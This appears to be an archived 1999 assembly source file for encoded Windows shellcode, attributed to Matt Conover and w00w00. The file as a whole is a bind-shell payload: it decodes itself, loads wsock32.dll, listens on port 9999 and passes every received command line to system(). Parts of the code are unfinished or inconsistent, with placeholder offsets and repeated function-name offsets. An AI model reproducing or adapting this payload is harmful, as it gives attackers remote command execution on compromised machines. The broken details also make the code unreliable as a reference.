home *** CD-ROM | disk | FTP | other *** search
- # Windows shell (one-sided command.com)
- # Copyright (C) March 1999, Matt Conover & w00w00 (WSD)
- #
- # Can give input, but will not see output
- # This will only allow 1 connection at a time (for simplicity)
- #
- # Because Windows doesn't allow interrupts, we push arguments on the stack
- # and 'call' functions. The catch is that the addresses of necessary
- # functions will vary between programs. Therefore, we use the shellgen
- # to "plug" in our guessed (or acquired) addresses.
- #
- # Notes:
- # %edi = first of pre-defined data
- # %esi = address of module handle
- # %ecx = client (accept()) fd
- # %edx = server (socket()) fd
-
- jmp init # cheap hack (to get data addresses)
- start: popl %edi # pop saved eip into edi
-
- # ---------------------------------------------------------------------
- # First we must un'xor all bytes in the shellcode, except for the first
- # few, which was left unxor'd (this code here) so that we could decrypt
-
- # We start at our ascii strings, and move backwards until we get to
- # the end of this code (un-xor'd code)
-
- pushl %edi # save the old edi
-
- call blah # this will be used as an index address
- blah: popl %esi # on where to stop xor'ing
-
- movl %esi,%eax # save ending address for XOR
- subl $0x5,%eax # note: we are xor'ing end addr->start addr
-
- addl $0xXX,%edi # offset to beginning of xor'd code
-
- xorloop:
- decl %edi # start at top, decrease addr to bottom
- cmpl whatever,%edi # see if we've reached decrypted all data
- jle xorloop_end # if we've reached last address.. end
-
- xorb $0x1,(%edi) # otherwise, decrypt/xor the byte
- jmp xorloop
-
- xorloop_end: popl %edi # restore the old edi
-
- # -------------------------------------
- # START OF XOR'D BLOCK
-
- # Set all 0xff's to 0x00's (null chars)
- # NOTE: the 0xffffffff's used for LoadLibrary() and GetProcAddress() will
- # be modified by shellgen, and will not exist at run-time
-
- pushl %edi # save %edi (saved eip)
- decl %edi # start 1 address below
-
- leal 0x56(%edi),%eax # store the final 0xff address
-
- setnull_loop:
- cmpl %edi,%eax # see if we're at end of 0xff'd data
- je setnull_end # end if so
-
- incl %edi # address pointer by 1
- cmpb $0xff,(%edi) # see if it's 0xff
- jne setnull_loop # if not, continue
-
- addb $0x1,(%edi) # set 0xff'd byte to null
- jmp setnull_loop
-
- setnull_end: popl %edi # restore the old %edi (saved eip)
-
- # ---------------------------------------------------------------------
-
- # NOTE: All bytes from this point on will be XOR'd (encrypted) to prevent
- # nulls in the call functions (et. al.)
-
- LoadLibrary:
- leal 0x8(%edi),%eax # 0x8(%edi) = address of libname
- pushl %eax
-
- call *%edi # call LoadLibrary("wsock32.dll");
- movl %eax,%esi # store retval (mod handle) in esi
-
- # ----------------- WSAStartup()
-
- # Note: in practice, this isn't needed. A program we're trying to exploit
- # will have already called WSAStartup() if we are communicating with it
- # remotely. Therefore, we'll leave the code but comment it out.
-
- # WSAStartup:
- # subl $0x190,%esp # allocate 400 bytes for WSADATA
- # movl %esp,%ebx # address of WSADATA (used as arg 2)
-
- # push %ebx # &wsaData
- # push $0x101 # MAKEWORD(1, 1) result = wsock v1.1
-
- # leal 0x14(%edi),%eax # function name ("WSAStartup")
- # call getprocaddr # function addr returned in %eax
-
- # call *%eax # call ret. addr. (WSAStartup()'s addr)
-
- # ----------------- socket()
-
- socket:
- xorl %eax,%eax # clear out %eax
-
- pushl %eax # IPPROTO_IP (protocol)
- pushl $0x1 # SOCK_STREAM (type)
- pushl $0x2 # AF_INET (family)
-
- leal 0x1f(%edi),%eax # function address ("socket")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (socket()'s addr)
- movl %eax,%edx # store server fd in edx
-
- # ----------------- bind()
-
- bind:
- pushl $0x10 # sockaddr size in bytes (16 bytes)
-
- subl $0x10,%esp # allocate mem for sockaddr
- movl %esp,%ebx # address of sockaddr
- pushl %ebx # sockaddr's address
-
- xorl %eax,%eax
- movb $0x10,%al # zero 0x10 (16) bytes
- call bzero # zero out sockaddr (ebx = ptr)
-
- # NOTE - this the structure order may vary between compilers
- movb $0x2,(%esp) # AF_INET (sockaddr->sin_family)
- movl $0xf27,0x4(%esp) # port 9999, in NBO (sockaddr->sin_port)
-
- pushl %edx # server fd
-
- leal 0x1f(%edi),%eax # function name ("bind")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (bind()'s addr)
-
- # ----------------- listen()
-
- listen:
- xorl %eax,%eax # clear out %eax
-
- pushl %eax # number of backlogs
- pushl %edx # server fd
-
- leal 0x1f(%edi),%eax # function name ("listen")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (listen()'s addr)
-
- while_loop1:
-
- # ----------------- accept()
-
- accept:
- # setup 3rd arg for accept()
- subl $0x4,%esp # allocate room for sockaddr len
- movl $0x10,(%esp) # size of sockaddr (16 bytes)
- movl %esp,%ebx # load %ebx with socklen's address (int *)
-
- pushl %ebx # socklen address
-
- # setup 2nd arg for accept()
- subl $0x10,%esp # allocate client's sockaddr (16 bytes)
- movl %esp,%ebx # address of sockaddr
-
- pushl %ebx # sockaddr address
- pushl %edx # server fd
-
- leal 0x1f(%edi),%eax # function name ("listen")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (listen()'s addr)
-
- # ----------------------
-
- movl %eax,%ecx # store new client fd here
-
- subl $0x100,%esp # size of buffer (256 bytes)
- movl %esp,%ebx # address of buffer
-
- movl %ebx,%ecx # ecx = buf ptr
-
- movl $0x100,%eax # zero 0x100 (256) bytes
- call bzero # zero out buf (ebx = ptr)
-
- subwhile_loop1:
- # ----------------- recv()
-
- recv:
- xorl %eax,%eax # clear out %eax
-
- pushl %eax # flags
- pushl $0x1 # buffer len (1 char)
-
- pushl %ecx # pointer to buf
- pushl %edx # client fd
-
- leal 0x1f(%edi),%eax # function name ("recv")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (recv()'s addr)
-
- xorl %ebx,%ebx # clear out %ebx
-
- cmpl %ebx,%eax # compare recv() retval to 0
- jl subwhile_end1 # if < 0, break (i.e., SOCKET_ERROR)
-
- # ----------------------
-
- cmpb $0x1f,(%ecx) # 0x1f = last ascii code before space
- jle noprint # if it's < ascii code 0x1f, end buffer
-
- incl %ecx # increase bufptr by 1 byte
- jmp subwhile_loop1 # get next char
-
- noprint:
- xorl %eax,%eax # clear out %eax
- movl %eax,(%ecx) # null terminate buffer
- # fall into system() to exec buf
-
- # ----------------- system()
-
- system:
- leal 0x1f(%edi),%eax # function name ("system")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (system()'s addr)
-
- # --------------------------
-
- movl $0x100,%eax # zero 0x100 (256) bytes
- call bzero # zero out sockaddr (ebx = ptr)
-
- movl %ebx,%ecx # reset buf ptr to first of buf
-
- jmp subwhile_loop1
-
- subwhile_end1: # where we break to
- # continue on below
-
- # ------------------------------------------------------
- # closesocket()
-
- closesocket:
- pushl %ecx # client fd
-
- leal 0x43(%edi),%eax # function name ("closesocket")
- call getprocaddr # function addr returned in %eax
-
- call *%eax # call ret. addr. (closesocket()'s addr)
-
- jmp while_loop1
-
- # -------------------------------------------------------------------
-
- getprocaddr:
- pushl %eax # function name (caller set %eax)
- pushl %esi # push the module returned by LoadLibrary()
-
- leal 0x4(%edi),%ebx # address of GetProcAddress()
- call *%ebx # call GetProcAddress(mod, funcname)
-
- ret # return because this is called as a proc
-
- # -------------------------------------------------------------------
-
- bzero:
- pushl %ebx # save %ebx (used as pointer)
- pushl %ecx # save %ecx (used to hold 0x0)
-
- loop:
- xorl %ecx,%ecx # clear out %ecx
-
- movb %cl,(%ebx) # set byte to null
- incl %ebx # increase pointer
-
- decl %eax # decrease counter
-
- cmpl %ecx,%eax # compare counter = 0
- jle endloop # if <= 0, break;
-
- jmp loop # continue looping
-
- endloop:
- popl %ecx # restore old %ecx (used to hold 0x0)
- popl %ebx # restore old %ebx (used as pointer)
-
- ret
- # ----------------------------
-
- # END OF XOR'D BLOCK
-
- init: call start # used to set eip as an index
-
- # -------------------------------------------------------------------
-
- # These 2 will be modified by shellgen.. don't touch!
- .byte 0xff,0xff,0xff,0xff # LoadLibrary(), (%edi)
- .byte 0xff,0xff,0xff,0xff # GetProcAddress(), 0x4(%edi)
-
- # I use 0xff to indicate "end of string" (we can't use nulls)
-
- .ascii "wsock32.dll" # 11 bytes, 0x8(%edi)
- .byte 0xff # 1 byte
-
- # -------------------------------------------------------------------
-
- # WSAStartup() will usually not be used, but we're leaving it anyway.
- .ascii "WSAStartup" # 10 bytes, 0x14(%edi)
- .byte 0xff # 1 byte
-
- .ascii "socket" # 6 bytes, 0x1f(%edi)
- .byte 0xff # 1 byte
-
- .ascii "bind" # 4 bytes, 0x26(%edi)
- .byte 0xff # 1 byte
-
- .ascii "listen" # 6 bytes, 0x2b(%edi)
- .byte 0xff # 1 byte
-
- .ascii "accept" # 6 bytes, 0x32(%edi)
- .byte 0xff # 1 byte
-
- .ascii "recv" # 4 bytes, 0x39(%edi)
- .byte 0xff # 1 byte
-
- .ascii "send" # 4 bytes, 0x3e(%edi)
- .byte 0xff # 1 byte
-
- .ascii "system" # 6 bytes, 0x43(%edi)
- .byte 0xff # 1 byte
-
- .ascii "closesocket" # 11 bytes, 0x4a(%edi)
- .byte 0xff # 1 byte
-